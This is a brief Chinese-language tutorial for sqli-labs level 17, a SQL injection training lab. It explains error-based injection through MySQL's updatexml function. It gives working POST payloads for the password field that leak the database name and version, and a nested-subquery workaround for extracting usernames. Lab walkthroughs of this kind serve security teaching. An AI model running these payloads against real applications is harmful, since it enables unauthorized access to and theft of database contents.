sqli-labs第17关
updatexml使用
第17关的关键函数为updatexml函数：
UpdateXML(xml_target, xpath_expr, new_xml)
其中，xml_target作用为目标xml，xpath_expr作用为xpath语法，new_xml为要替换掉的xml内容，所以该函数能够用于注入的原因为，当xpath语法不合规时，会报错，实现报错注入。
updatexml(0,concat(0x7e, (select col2 from tableA limit 0,1),1)
该函数就会导致updatexml函数报错，实现，报错注入。
报错注入
观察本题可发现在password处存在注入点
使用updataxml语法进行注入
uname=Dhakkan&passwd=' and updatexml(0,concat(0x7e, database(), 0x7e), 1)-- -
通过post提交以上请求，可以爆出当前使用的数据库
uname=Dhakkan&passwd=' and updatexml(0,concat(0x7e, version(), 0x7e), 1)-- -
通过以上post注入语句，可以爆出当前数据库版本号：
报错解决：
You can't specify target table 'users' for update in FROM clause
该报错原因时注入时不能再updatexml中直接加入表名，我们可以对查询出来的结果再进行一次select 从而绕过这个报错，代码为：
updatexml(0,concat(0x7e, (select username from (select username from users limit 0,1)a), 0x7e),1;
报错解决。